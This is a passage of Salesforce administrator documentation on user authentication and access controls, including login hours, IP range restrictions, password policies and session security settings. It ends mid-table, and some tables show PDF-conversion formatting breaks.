If users can see alerts and they have logged in to Salesforce from the client in the past, an alert banner automatically appears in the Home tab when a new version is available. Clicking the banner opens the Check for Updates page, where users can download and run installer files. From their personal settings, users can also access the Check for Updates page, regardless of whether an alert has occurred.

IN THIS SECTION:
- Desktop Client Access in the Enhanced Profile User Interface
  To make updates to your desktop client access settings, use the enhanced profile user interface. For example, change Connect for Outlook alert settings from here.
- View and Edit Desktop Client Access in the Original Profile User Interface

Desktop Client Access in the Enhanced Profile User Interface
To make updates to your desktop client access settings, use the enhanced profile user interface. For example, change Connect for Outlook alert settings from here.

Connect Offline and Connect for Office are desktop clients that integrate Salesforce with your PC. As an administrator, you can control which desktop clients your users can access as well as whether users are automatically notified when updates are available.

Note: To access desktop clients, users must also have the “API Enabled” permission.

On the Desktop Client Access page in the enhanced profile user interface, you can:
- Search for an object, permission, or setting
- Clone the profile
- Delete custom profile
- Change the profile name or description
- Go to the profile overview page
- Switch to a different settings page

EDITIONS
Available in: Salesforce Classic (not available in all orgs)
Available in: Enterprise, Performance, Unlimited, and Developer Editions

USER PERMISSIONS
To view desktop client access settings:
- View Setup and Configuration
To edit desktop client access settings:
- Manage Profiles and Permission Sets
View and Edit Desktop Client Access in the Original Profile User Interface

Connect Offline and Connect for Office are desktop clients that integrate Salesforce with your PC. As an administrator, you can control which desktop clients your users can access as well as whether users are automatically notified when updates are available.

Note: To access desktop clients, users must also have the “API Enabled” permission.

1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Click Edit next to a profile name, and scroll to the Desktop Integration Clients section at the bottom of the page.

Configure User Authentication

Choose login settings to ensure that your users are who they say they are.

IN THIS SECTION:

Restrict Where and When Users Can Log In to Salesforce
You can restrict the hours during which users can log in and the range of IP addresses from which they can log in and access Salesforce. If IP address restrictions are defined for a user’s profile and a login originates from an unknown IP address, Salesforce does not allow the user to log in. These restrictions help protect your data from unauthorized access and phishing attacks.

Set Password Policies
Improve your Salesforce org security with password protection. You can set password history, length, and complexity requirements. You can also specify what to do when a user forgets the password.

Expire Passwords for All Users
As an administrator, you can expire passwords for all users any time you want to enforce extra security for your organization. After expiring passwords, all users are prompted to reset their password the next time they log in.

Modify Session Security Settings
You can change the session connection type, timeout restrictions, and IP address ranges to protect against malicious attacks and more.

Configure When Users Are Prompted to Verify Identity
You can control how and when users are prompted to verify their identity.

Require High-Assurance Session Security for Sensitive Operations
To secure different setup areas in your org, require a high-assurance level of security for sensitive operations, like accessing reports and managing IP addresses. You can also block users from accessing these setup areas.

Create a Login Flow
A login flow directs users through a login process before they access your Salesforce org or community. You can use a login flow to control the business processes that your users follow when they log in to Salesforce. After Salesforce authenticates a user, the login flow directs the user through a process, such as enforcing strong authentication or collecting user information. When users complete the login flow successfully, they are redirected to their Salesforce org or community. If unsuccessful, the flow can log out users immediately.
Set Up a Login Flow and Connect to Profiles
After you create a flow using Flow Builder or Visualforce, you designate it as a login flow and then associate it with user profiles. When users with an associated profile log in, they’re directed to the login flow.

Login Flow Examples
You can use a login flow to customize the login experience and integrate business processes with Salesforce authentication. Common uses cases include collecting and updating user data at login, configuring two-factor authentication, or integrating third-party strong authentication methods.

Set Up Two-Factor Authentication
Two-factor authentication is the most effective way to protect your org’s user accounts. When two-factor authentication is enabled, users are required to log in with two pieces of information, such as a username and a one-time password (OTP). Admins enable two-factor authentication through permissions or profile settings. Users register for two-factor authentication through their own personal settings. They can use an OTP generator app, such as Salesforce Authenticator or Google Authenticator. Or they can use hardware devices, such as U2F security keys.

Deploy Third-Party, SMS-Based Two-Factor Authentication
Two-factor authentication (2FA) enhances security when validating a user’s identity and protects access to your Salesforce org. In addition to a password, SMS-based 2FA requires the user to provide a one-time password (OTP) code received on a mobile device.

Limit the Number of Concurrent Sessions with Login Flows
You can use a login flow to restrict the number of simultaneous Salesforce sessions per user.

Restrict Where and When Users Can Log In to Salesforce
You can restrict the hours during which users can log in and the range of IP addresses from which they can log in and access Salesforce. If IP address restrictions are defined for a user’s profile and a login originates from an unknown IP address, Salesforce does not allow the user to log in. These restrictions help protect your data from unauthorized access and phishing attacks.

Login Hours
For each profile, you can set the hours when users can log in. See:
- View and Edit Login Hours in the Enhanced Profile User Interface
- View and Edit Login Hours in the Original Profile User Interface

Two-Factor Authentication for User Interface Logins
For each profile, you can require users to use a second form of authentication when they log in via the user interface. See Set Two-Factor Authentication Login Requirements on page 57 and Set Two-Factor Authentication Login Requirements and Custom Policies for Single Sign-On, Social Sign-On, and Communities.

Two-Factor Authentication for API Logins
For each profile, you can require a verification code, also called a time-based one-time password, or TOTP. Users with the Two-Factor Authentication for API Logins permission use a verification code instead of the standard security token whenever it’s requested, such as when resetting the account’s password. Verification codes are generated by an authenticator app that users connect to their account. See Set Two-Factor Authentication Login Requirements for API Access on page 60.
Login IP Address Ranges

For Enterprise, Performance, Unlimited, Developer, and Database.com editions, you can set the Login IP Range addresses from which users can log in on an individual profile. Users outside the login IP range can’t access your Salesforce org.

For Contact Manager, Group, and Professional Editions, set the Login IP Range. To set the range, from Setup, enter Session Settings in the Quick Find box, then select Session Settings.

Login IP Address Range Enforcement for All Access Requests

You can enforce IP address restrictions for each page request, including requests from client apps. To enable this option, from Setup, enter Session Settings in the Quick Find box, select Session Settings, and then select Enforce login IP ranges on every request. This option affects all user profiles that have login IP restrictions.

Org-Wide Trusted IP Ranges

For all users, you can set a list of IP address ranges from which they can always log in without receiving a login challenge. These users can log in to your org after they provide the additional verification. See Set Trusted IP Ranges for Your Organization.

When users log in to Salesforce via the user interface, the API, or a desktop client such as Salesforce for Outlook, Connect Offline, Connect for Office, or the Data Loader, Salesforce authorizes the login as follows.

1. Salesforce checks whether the user’s profile has login-hour restrictions. If the user’s profile specifies login-hour restrictions, login attempts outside the specified hours are denied.

2. If the user has the Two-Factor Authentication for User Interface Logins permission, Salesforce prompts the user for a second form of authentication upon logging in. If the user’s account isn’t already connected to a mobile authenticator app, such as Salesforce Authenticator, Salesforce first prompts the user to connect the app.

3. If the user has the Two-Factor Authentication for API Logins permission and has connected an authenticator app to the account, the user must enter a verification code (TOTP) generated by the authenticator app. If the user uses the standard security token, Salesforce returns an error.

4. Salesforce then checks whether the user’s profile defines IP address range restrictions. If so, logins from outside the IP address range are denied. If the Enforce login IP ranges on every request session setting is enabled, the IP address restrictions are enforced for each page request, including requests from client apps.

5. If profile-based IP address restrictions aren’t set, Salesforce checks whether the user is logging in from a device that was previously used to access Salesforce.
   - If the user is logging in from a device and browser that Salesforce recognizes, the login is allowed.
   - If the user is logging in from an IP address on your org’s trusted IP address list, the login is allowed.
   - If the user isn’t logging in from a trusted IP address, device, or browser that Salesforce recognizes, the login is blocked.

Whenever a login is blocked or returns an API login fault, Salesforce verifies the user’s identity.

- For access via the user interface, the user is prompted to verify using Salesforce Authenticator (version 2 or later) or enter a verification code.

  Note: Users aren’t asked for a verification code the first time they log in to Salesforce.

- For access via the API or client app, if Two-Factor Authentication on API Logins permission is set on the user profile, users enter a verification code generated by an authenticator app.

  If the permission isn’t set, users must add their security token to the end of their password to log in. A security token is a generated key from Salesforce. For example, if a user’s password is mypassword, and the security token is XXXXXXXXXXX, the user enters mypasswordXXXXXXXXXX to log in. Some client apps have a separate field for the security token.
Users can get their security token by changing their password or resetting their security token via the Salesforce user interface. When a user changes a password or resets a security token, Salesforce sends a new security token to the email address on the user’s Salesforce record. The security token is valid until the user resets the security token, changes a password, or has a password reset.

Tip: Before you access Salesforce from a new IP address, we recommend that you get your security token from a trusted network using Reset My Security Token.

Tips on Setting Login Restrictions

Consider the following when setting login restrictions.

- When a user’s password is changed, the security token is reset. Log in via the API or a client can be blocked until the user adds the generated security token to the end of the password.
- Partner Portal and Customer Portal users aren’t required to activate their browser to log in.
- For more information on API login faults, see the Core Data Types Used in API Calls topic in the SOAP API Developer Guide.
- If single sign-on (SSO) is enabled, API and desktop client users can log in to Salesforce unless their profile has IP address restrictions set and they try to log in from outside of the range defined. Also the SSO authority usually handles login lockout policies for users with the Is Single Sign-On Enabled permission. However, if the security token is enabled, your org’s login lockout settings determine how many times users can try to log in with an invalid security token before being locked out of Salesforce.
- These events count toward the number of times users can try to log in with an invalid password before getting locked out.
  - Each time users are prompted to verify identity
  - Each time users incorrectly add the security token or verification code to the end of their password when logging in to Salesforce via the API or a client

IN THIS SECTION:

Restrict Login IP Ranges in the Enhanced Profile User Interface
Control login access at the user level by specifying a range of allowed IP addresses on a user’s profile. When you define IP address restrictions for a profile, a login from any other IP address is denied.

Restrict Login IP Addresses in the Original Profile User Interface
Control login access at the user level by specifying a range of allowed IP addresses on a user’s profile. When you define IP address restrictions for a profile, a login from any other IP address is denied.

View and Edit Login Hours in the Enhanced Profile User Interface
For each profile, you can specify the hours when users can log in.

View and Edit Login Hours in the Original Profile User Interface
Specify the hours when users can log in based on the user profile.

Set Trusted IP Ranges for Your Organization
Trusted IP Ranges define a list of IP addresses from which users can log in without receiving a login challenge for verification of their identity, such as a code sent to their mobile phone.
Restrict Login IP Ranges in the Enhanced Profile User Interface

Control login access at the user level by specifying a range of allowed IP addresses on a user's profile. When you define IP address restrictions for a profile, a login from any other IP address is denied.

1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Select a profile, and click its name.
3. In the profile overview page, click Login IP Ranges.
4. Specify allowed IP addresses for the profile.
   - To add a range of IP addresses from which users can log in, click Add IP Ranges. Enter a valid IP address in the IP Start Address and a higher-numbered IP address in the IP End Address field. To allow logins from only a single IP address, enter the same address in both fields.
   - To edit or remove ranges, click Edit or Delete for that range.

**Important:**
- The IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped IPv6 address space ::ffff:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff is 255.255.255.255. A range can't include IP addresses both inside and outside of the IPv4-mapped IPv6 address space. Ranges like 255.255.255.255 to ::1:0:0:0 or :: to ::1:0:0:0 aren't allowed.
- Partner User profiles are limited to five IP addresses. To increase this limit, contact Salesforce.

5. Optionally enter a description for the range. If you maintain multiple ranges, use the Description field to provide details, like which part of your network corresponds to this range.

**Note:** You can further restrict access to Salesforce to only those IPs in Login IP Ranges. To enable this option, in Setup, enter Session Settings in the Quick Find box, then select Session Settings and select Enforce login IP ranges on every request. This option affects all user profiles that have login IP restrictions.
Restrict Login IP Addresses in the Original Profile User Interface

Control login access at the user level by specifying a range of allowed IP addresses on a user’s profile. When you define IP address restrictions for a profile, a login from any other IP address is denied.

1. How you restrict the range of valid IP addresses on a profile depends on your Salesforce edition.
   - If you’re using an Enterprise, Unlimited, Performance, or Developer Edition, from Setup, enter Profiles in the Quick Find box, then select Profiles, and select a profile.
   - If you’re using a Group, or Personal Edition, from Setup, enter Session Settings in the Quick Find box, then select Session Settings.
   - In a Professional Edition, the location of IP ranges depends on whether you have the “Edit Profiles & Page Layouts” org preference enabled as an add-on feature.
     With the “Edit Profiles & Page Layouts” org preference enabled, IP ranges are on individual profiles.
     Without the “Edit Profiles & Page Layouts” org preference enabled, IP ranges are on the Session Settings page.

2. Click New in the Login IP Ranges related list.

3. Enter a valid IP address in the IP Start Address field and a higher-numbered IP address in the IP End Address field.

   The start and end addresses define the range of allowable IP addresses from which users can log in. To allow logins from a single IP address, enter the same address in both fields.
   - The IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped IPv6 address space ::ffff:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff is 255.255.255.255. A range can’t include IP addresses both inside and outside of the IPv4-mapped IPv6 address space. Ranges like 255.255.255.255 to ::1:0:0:0 or :: to ::1:0:0:0 aren’t allowed.
   - Partner User profiles are limited to five IP addresses. To increase this limit, contact Salesforce.

4. Optionally enter a description for the range. If you maintain multiple ranges, use the Description field to provide details, such as which part of your network corresponds to this range.

5. Click Save.

Note: Cache settings on static resources are set to private when accessed via a Salesforce Site whose guest user’s profile has restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static resources only within the browser. Also, if a previously unrestricted site becomes restricted, it can take up to 45 days for the static resources to expire from the Salesforce cache and any intermediate caches.

Note: You can further restrict access to Salesforce to only those IPs in Login IP Ranges. To enable this option, in Setup, enter Session Settings in the Quick Find box, then select Session Settings and select Enforce login IP ranges on every request. This option affects all user profiles that have login IP restrictions.
View and Edit Login Hours in the Enhanced Profile User Interface

For each profile, you can specify the hours when users can log in.

1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Select a profile, and click its name.
3. In the profile overview page, scroll down to Login Hours and click Edit.
4. Set the days and hours when users with this profile can log in to the org.

   To let users log in at any time, click Clear all times. To prohibit users from logging in on a specific day, set Start Time to 12 AM and End Time to End of Day.

   If users are logged in when their login hours end, they can continue to view their current page, but they can’t take any further action.

   **Note:** The first time login hours are set for a profile, the hours are based on the org’s default time zone as specified on the Company Information page in Setup. After that, changes to the org’s default time zone on the Company Information page don’t affect the time zone for the profile’s login hours. The profile login hours remain the same, even when a user is in a different time zone or the org’s default time zone changes.

   Depending on whether you’re viewing or editing login hours, the hours can be different. On the Login Hours edit page, hours appear in your specified time zone. On the profile overview page, hours appear in the org’s original default time zone.

View and Edit Login Hours in the Original Profile User Interface

Specify the hours when users can log in based on the user profile.

1. From Setup, enter Profiles in the Quick Find box. Select Profiles, and then select a profile.
2. In the Login Hours related list, click Edit.
3. Set the days and hours when users with this profile can log in to the org.

   To let users log in at any time, click Clear all times. To prohibit users from logging in on a specific day, set Start Time to 12 AM and End Time to End of Day.

   If users are logged in when their login hours end, they can continue to view their current page, but they can’t take any further action.

4. Click Save.

   **Note:** The first time login hours are set for a profile, the hours are based on the org’s default time zone as specified on the Company Information page in Setup. After that, changes to the org’s default time zone on the Company Information page don’t affect the time zone for the profile’s login hours. The profile login hours remain the same, even when a user is in a different time zone or the org’s default time zone changes.

   Depending on whether you’re viewing or editing login hours, the hours appear differently. On the profile detail page, hours appear in your specified time zone. On the Login Hours edit page, the hours appear in the org’s default time zone.
Set Trusted IP Ranges for Your Organization

Trusted IP Ranges define a list of IP addresses from which users can log in without receiving a login challenge for verification of their identity, such as a code sent to their mobile phone.

Note: Watch how you can restrict login through IP ranges and login hours.

To help protect your organization’s data from unauthorized access, you can specify a list of IP addresses from which users can log in without receiving a login challenge. However, this does not restrict access, entirely, for users outside of the Trusted IP Range. After these users complete the login challenge (usually by entering a code sent to their mobile device or email address), they can log in.

1. From Setup, enter Network Access in the Quick Find box, then select Network Access.
2. Click New.
3. Enter a valid IP address in the Start IP Address field and a higher IP address in the End IP Address field.
   The start and end addresses define the range of allowable IP addresses from which users can log in, including the start and end values. If you want to allow logins from a single IP address, enter the same address in both fields.
   The start and end IP addresses must be in an IPv4 range and include no more than 33,554,432 addresses (225, a /7 CIDR block).
4. Optionally, enter a description for the range. For example, if you maintain multiple ranges, enter details about the part of your network that corresponds to this range.
5. Click Save.

Note: For organizations that were activated before December 2007, Salesforce automatically populated your organization’s trusted IP address list in December 2007, when this feature was introduced. The IP addresses from which trusted users had already accessed Salesforce during the past six months were added.
Set Password Policies

Improve your Salesforce org security with password protection. You can set password history, length, and complexity requirements. You can also specify what to do when a user forgets the password.

You can set different password and login policies based on the type of user.

Note: User passwords cannot exceed 16,000 bytes.

Logins are limited to 3,600 per hour per user. This limit applies to organizations created after Summer ’08.

1. From Setup, enter Password Policies in the Quick Find box, then select Password Policies.

2. Customize the password settings.

<table>
<thead>
<tr>
<th>Field</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>User passwords expire in</td>
<td>The length of time until a user password expires and must be changed. The default is 90 days. This setting isn’t available for Self-Service portals. This setting doesn’t apply to users with the Password Never Expires permission. You can change this setting to an expiration date that is earlier or later than the previous expiration date. To remove an expiration date, select Never expires.</td>
</tr>
<tr>
<td>Enforce password history</td>
<td>Save users’ previous passwords so that they must use a new, unique password when changing passwords. Password history is not saved until you set this value. The default is No passwords remembered. You cannot select No passwords remembered unless you select Never expires for the User passwords expire in field. This setting isn’t available for Self-Service portals.</td>
</tr>
<tr>
<td>Minimum password length</td>
<td>The minimum number of characters required for a password. When you set this value, existing users aren’t affected until the next time they change their passwords. The default is 8 characters.</td>
</tr>
<tr>
<td>Password complexity requirement</td>
<td>The types of characters that must be used in a user’s password.</td>
</tr>
<tr>
<td></td>
<td>• No restriction—Has no requirements and is the least secure option.</td>
</tr>
</tbody>
</table>
## Description

- **Must include alpha and numeric characters**—The default setting. Requires at least one alphabetic character and one number.

- **Must include alpha, numeric, and special characters**—Requires at least one alphabetic character, one number, and one of the following characters: `! "$ @ # \ ^ _ \ ` { | } ~`.

- **Must include numbers and uppercase and lowercase letters**—Requires at least one number, one uppercase letter, and one lowercase letter.

- **Must include numbers, uppercase and lowercase letters, and special characters**—Requires at least one number, one uppercase letter, one lowercase letter, and one of the following characters: `! "$ @ # \ ^ _ \ ` { | } ~`.

  **Note:** Only the characters listed meet the requirement. Other symbol characters are not considered special characters.

## Password question requirement

- **Cannot contain password**—Restricts the answer from containing the password.

- **None**—Places no restrictions on the answer. The user must provide an answer to the password hint question. This setting is the default.

  This setting is not available for Self-Service portals, Customer Portal, or partner portals.

## Maximum invalid login attempts

The number of login failures allowed for a user before the user is locked out. This setting isn’t available for Self-Service portals.
### Field: Lockout effective period

**Description:** The duration of the login lockout. The default is 15 minutes. This setting isn’t available for Self-Service portals.

When a user is logged in to an active session but is later locked out, the user remains logged in to the active session.

**Note:** A locked-out user must wait until the lockout period expires. Alternatively, a user with the Reset User Passwords and Unlock Users permission can unlock a user from Setup.

- a. Enter *Users* in the Quick Find box.
- b. Select *Users*.
- c. Select the user, and click **Unlock**.

This button is available only when a user is locked out.

### Field: Obscure secret answer for password resets

**Description:** Hide answers to security questions as the user types. The default is to show the answer in plain text.

**Note:** If your org uses the Microsoft Input Method Editor (IME) with the input mode set to Hiragana, when you type ASCII characters, they’re converted into Japanese characters in normal text fields. However, the IME doesn’t work properly in fields with obscured text. If your org’s users cannot properly enter their passwords or other values after enabling this feature, disable the feature.

### Field: Require a minimum 1 day password lifetime

**Description:** A password can’t be changed more than once in a 24-hour period.

### Field: Allow use of setPassword() API for self-resets

**Description:** When selected, apps can use the `setPassword()` API to change the current user’s password to a specific value. Deselect this option for increased security. When deselected, apps must use the `changeOwnPassword()` API to prompt users to set their password value. The `changeOwnPassword()` API verifies the user’s current password before allowing the change. When you deselect this option, you can’t select it again.

3. **Customize the forgotten password and locked account assistance information.**

**Note:** This setting is not available for Self-Service portals, Customer Portal, or partner portals.

<table>
<thead>
<tr>
<th>Field</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Message</td>
<td>If set, the message you enter appears in the “We can’t reset your password” email. Users receive this email when they lock out</td>
</tr>
</tbody>
</table>
### Description

themselves out by trying to reset their password too many times. The text also appears at the bottom of the Answer Your Security Question page when users reset their passwords.

You can add the name of your internal help desk or a system administrator to the default text. The message appears only for accounts that need an administrator to reset the password. Lockouts due to time restrictions get a different system email message.

---

<table>
<thead>
<tr>
<th>Field</th>
<th>Description</th>
</tr>
</thead>
</table>
| Help link   | If set, this link displays along with the text defined in the Message field. In the “We can’t reset your password” email, the URL displays exactly as it is typed in the Help link field. This format provides extra security because the user isn’t within a Salesforce org but can still see where the link goes. On the Answer Your Security Question page, the Help link URL combines with the text in the Message field and forms a clickable link. Security isn’t an issue because the user is in a Salesforce org when changing passwords. Valid protocols are:  
  - http  
  - https  
  - mailto |

---

4. Specify an alternative home page for users with the API Only User permission. After completing user management tasks such as resetting a password, API-only users are redirected to the specified URL rather than to the login page.

5. Click **Save**.
Expire Passwords for All Users

As an administrator, you can expire passwords for all users any time you want to enforce extra security for your organization. After expiring passwords, all users are prompted to reset their password the next time they log in.

To expire passwords for all users, except those users with the “Password Never Expires” permission:

1. From Setup, enter Expire All Passwords in the Quick Find box, then select Expire All Passwords.
2. Select Expire all user passwords.
3. Click Save.

The next time users log in, they are prompted to reset their password.

Considerations When Expiring Passwords

- Users might need to activate their computers to log in to Salesforce.
- Expire all user passwords doesn’t affect Self-Service portal users, because they aren’t direct Salesforce users.

Modify Session Security Settings

You can change the session connection type, timeout restrictions, and IP address ranges to protect against malicious attacks and more.

1. From Setup, enter Session Settings in the Quick Find box, then select Session Settings.
2. Customize the session security settings.

   Note: Identity verification settings are also available on the Identity Verification page on page 38. You can change identity verification settings in either location.
<table>
<thead>
<tr>
<th>Field</th>
<th>Description</th>
</tr>
</thead>
</table>
| Timeout value                                 | Length of time after which the system logs out inactive users. For portal users, the timeout is between 10 minutes and 24 hours, even though you can only set it as low as 15 minutes. Select a value between 15 minutes and 24 hours. Choose a shorter timeout period if your org has sensitive information and you want to enforce stricter security.  
   **Note:** The last active session time value isn’t updated until halfway through the timeout period. So if you have a 30-minute timeout, the system doesn’t check for activity until 15 minutes have passed. For example, if you update a record after 10 minutes, the last active session time value isn’t updated because there was no activity after 15 minutes.  
   You’re logged out in 20 more minutes (30 minutes total) because the last active session time wasn’t updated. Suppose that you update a record after 20 minutes. That’s 5 minutes after the last active session time is checked. Your timeout resets, and you have another 30 minutes before being logged out, for a total of 50 minutes. |
| Disable session timeout warning popup         | Determines whether the system prompts inactive users with a timeout warning message. Users are prompted 30 seconds before timeout, as specified by the Timeout value.  
   **Note:** When using this setting, do not select Disable session timeout warning popup.                                                                                                                                                                                                                           |
| Force logout on session timeout               | Requires that when sessions time out for inactive users, current sessions become invalid. The browser refreshes and returns to the login page. To access the org, the user must log in again.  
   **Note:** This setting can inhibit various applications and mobile devices.                                                                                                                                                                                                                           |
| Lock sessions to the IP address from which they originated | Determines whether user sessions are locked to the IP address from which the user logged in, helping to prevent unauthorized persons from hijacking a valid session.  
   **Note:** This setting can inhibit various applications and mobile devices.                                                                                                                                                                                                                           |
| Lock sessions to the domain in which they were first used | Associates a current UI session for a user, such as a community user, with a specific domain. The setting helps prevent unauthorized use of the session ID in another domain. This setting is enabled by default for orgs created with the Spring ’15 release or later.                                                                                                                                                   |
| Require secure connections (HTTPS)            | Determines whether HTTPS is required to log in to or access Salesforce. This setting is enabled by default for security reasons. This setting does not apply to API requests. All API requests require HTTPS.  
   To enable HTTPS on communities and Salesforce Sites, see HSTS for Sites and Communities.  
   **Note:** The Reset Passwords for Your Users page can only be accessed using HTTPS.                                                                                                                                                                                                  |
<table>
<thead>
<tr>
<th>Field</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Require secure connections (HTTPS) for all third-party domains</td>
<td>Determines whether HTTPS is required for connecting to third-party domains. This setting is enabled by default on accounts created after the Summer ‘17 release.</td>
</tr>
<tr>
<td>Force relogin after Login-As-User</td>
<td>Determines whether an administrator who is logged in as another user is returned to their previous session after logging out as the secondary user. If the setting is enabled, an administrator must log in again to continue using Salesforce after logging out as the user. Otherwise, the administrator is returned to the original session after logging out as the user. This setting is enabled by default for all orgs.</td>
</tr>
<tr>
<td>Require HttpOnly attribute</td>
<td>Restricts session ID cookie access. A cookie with the HttpOnly attribute is not accessible via non-HTTP methods, such as calls from JavaScript. <strong>Note:</strong> If you have a custom or packaged application that uses JavaScript to access session ID cookies, selecting Require HttpOnly attribute breaks your application. It denies the application access to the cookie. If Require HttpOnly attribute is selected, the AJAX Toolkit debugging window isn’t available.</td>
</tr>
<tr>
<td>Use POST requests for cross-domain sessions</td>
<td>Sets the org to send session information using a POST request, instead of a GET request, for cross-domain exchanges. An example of a cross-domain exchange is when a user is using a Visualforce page. In this context, POST requests are more secure than GET requests because POST requests keep the session information in the body of the request. However, if you enable this setting, embedded content from another domain, such as: &lt;img src=&quot;https://acme.force.com/pic.jpg&quot;/&gt;, sometimes doesn’t display.</td>
</tr>
<tr>
<td>Enforce login IP ranges on every request</td>
<td>Restricts the IP addresses from which users can access Salesforce to only the IP addresses defined in Login IP Ranges. If this setting is enabled, login IP ranges are enforced on each page request, including requests from client applications. If this setting isn’t enabled, login IP ranges are enforced only when a user logs in. This setting affects all user profiles that have login IP restrictions.</td>
</tr>
<tr>
<td>Enable caching and autocomplete on login page</td>
<td>Allows the user’s browser to store usernames. If enabled, after initial login, usernames are auto-filled into the Username field on the login page. If the user selected <strong>Remember me</strong> on the login page, the username persists after the session expires or the user logs out. The username also appears on the Switcher. This setting is selected by default for all orgs. <strong>Note:</strong> If you disable this setting, the <strong>Remember me</strong> option doesn’t appear on your org’s login page or from the Switcher.</td>
</tr>
<tr>
<td>Field</td>
<td>Description</td>
</tr>
<tr>
<td>----------------------------------------------------------------------</td>
<td>-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
</tbody>
</table>
| Enable secure and persistent browser caching to improve performance  | Enables secure data caching in the browser to improve page reload performance by avoiding extra round trips to the server. This setting is selected by default for all orgs. Warning: Disabling secure and persistent browser caching has a significant negative performance impact on Lightning Experience. Only disable in the following scenarios:  
  • Your company’s policy doesn’t allow browser caching, even if the data is encrypted.  
  • During development in a sandbox or Developer Edition org to see the effect of any code changes without needing to empty the secure cache. |
| Enable user switching                                                | Determines whether the Switcher appears when your org’s users select their profile picture. This setting is selected by default for all organizations. The Enable caching and autocomplete on login page setting must also be enabled. Deselect the Enable user switching setting to prevent your org from appearing in Switchers on other orgs. It also prevents your org users from seeing the Switcher when they select their profile picture. |
| Remember until logout                                               | Normally, usernames are cached only while a session is active or if a user selects Remember Me. For SSO sessions, the remember option isn’t available. So, once the session expires, the username disappears from the login page and the Switcher. By enabling Remember me until logout, the cached usernames are deleted only if the user explicitly logs out. If the session times out, they appear on the Switcher as inactive. This way, if the users are on their own computer and allow a session to time out, they can select the username to reauthenticate. If they’re on a shared computer, the username is deleted immediately when the user logs out. This setting applies to all your org’s users. This option isn’t enabled by default. However, we encourage you to enable it as a convenience to your users. Keep this setting disabled if your org doesn’t expose all your SSO or authentication providers on your login page. |
| Enable Content Delivery Network (CDN) for Lightning Component framework | Load Lightning Experience and other apps faster by enabling Akamai’s content delivery network (CDN) to serve the static content for Lightning Component framework. A CDN generally speeds up page load time, but it also changes the source domain that serves the files. If your company has IP range restrictions for content served from Salesforce, test thoroughly before enabling this setting. CDNs improve the load time of static content by storing cached versions in multiple geographic locations. This setting turns on CDN delivery for the static JavaScript and CSS in the Lightning Component framework. It doesn’t distribute your org’s data or metadata in a CDN. |
| Enable the SMS method of identity confirmation                       | Allows users to receive a one-time password delivered via SMS. If this setting is selected, administrators or users must verify their mobile phone number |

32
### Field | Description
--- | ---
| Require security tokens for API logins from callouts (API version 31.0 and earlier) | In API version 31.0 and earlier, requires the use of security tokens for API logins from callouts. Examples are Apex callouts or callouts using the AJAX proxy. In API version 32.0 and later, security tokens are required by default.
| Login IP Ranges (for Contact Manager, Group, and Professional Editions) | Specifies a range of IP addresses users must log in from (inclusive), or the login fails. To specify a range, click **New** and enter a Start IP Address and End IP Address to define the range, which includes the start and end values. This field is not available in Enterprise, Unlimited, Performance, and Developer Editions. In those editions, you can specify a valid Login IP Range in the user profile settings.
| Let users use a physical security key (U2F) | Allows users to use a U2F security key for two-factor authentication and identity verification. Instead of using Salesforce Authenticator, one-time passwords generated by an authenticator app, or one-time passwords sent by email or SMS, users insert their registered U2F security key into a USB port to complete verification.
| Let users authenticate with a certificate | Enable certificate-based authentication to use PEM-encoded X.509 digital certificates to authenticate individual users to your org.
| Require identity verification during two-factor authentication (2FA) registration | Requires users to confirm their identities to add a two-factor authentication method, such as Salesforce Authenticator, instead of requiring a relogin as before.
| Require identity verification for email address changes | Requires users to log in again and confirm their identity before their email address change takes effect. Users verify their identity using a registered verification method, such as Salesforce Authenticator, SMS text message, or email. **Note:** If the user’s verification method is email, the verification code is sent to the user’s previously registered email address rather than the new email address.
| Require email confirmations for email address changes (applies to external users in Lightning Communities) | Requires external users to confirm that they own the new email address. When users change their email address, they receive an email at the new email address with a link. After they click the link, their new email address takes effect. Email confirmations are enabled by default for orgs created in Winter ’20 and later. For orgs created before Winter ’20, Salesforce recommends that you enable this option as a security precaution. This option doesn’t apply to employees.
| Allow automated location-based verifications with Salesforce Authenticator | When users are in a trusted location, such as their home or office, they can use the Salesforce Authenticator to automatically verify their identity. You can allow automated verifications from any location, or you can restrict them to only trusted IP addresses, such as your corporate network.
<p>| Allow only from trusted IP addresses |</p>
<table>
<thead>
<tr>
<th>Field</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Allow Lightning Login</td>
<td>Allows users to use Lightning Login for password-free Salesforce logins, relying on Salesforce Authenticator for identity verification.</td>
</tr>
<tr>
<td>Enable clickjack protection for Setup pages</td>
<td>Protects against clickjack attacks on setup Salesforce pages. Clickjacking is also known as a user interface redress attack. (Setup pages are available from the Setup menu.)</td>
</tr>
<tr>
<td>Enable clickjack protection for non-Setup Salesforce pages</td>
<td>Protects against clickjack attacks on non-setup Salesforce pages. Clickjacking is also known as a user interface redress attack. Setup pages already include protection against clickjack attacks. (Setup pages are available from the Setup menu.) This setting is selected by default for all orgs.</td>
</tr>
<tr>
<td>Enable clickjack protection for customer Visualforce pages with standard headers</td>
<td>Protects against clickjack attacks on your Visualforce pages with headers enabled. Clickjacking is also known as a user interface redress attack. Also allows iframes on whitelisted external domains. To enable this feature, whitelist external domains where you allow framing under Whitelisted Domains for Visualforce Inline Frames.</td>
</tr>
<tr>
<td>Enable clickjack protection for customer Visualforce pages with headers disabled</td>
<td>Protects against clickjack attacks on your Visualforce pages with headers disabled when setting <code>showHeader=&quot;false&quot;</code> on the page. Clickjacking is also known as a user interface redress attack. Also allows iframes on whitelisted external domains. To enable this feature, whitelist external domains where you allow framing under Whitelisted Domains for Visualforce Inline Frames.</td>
</tr>
<tr>
<td>Enable CSRF protection on GET requests on non-setup pages</td>
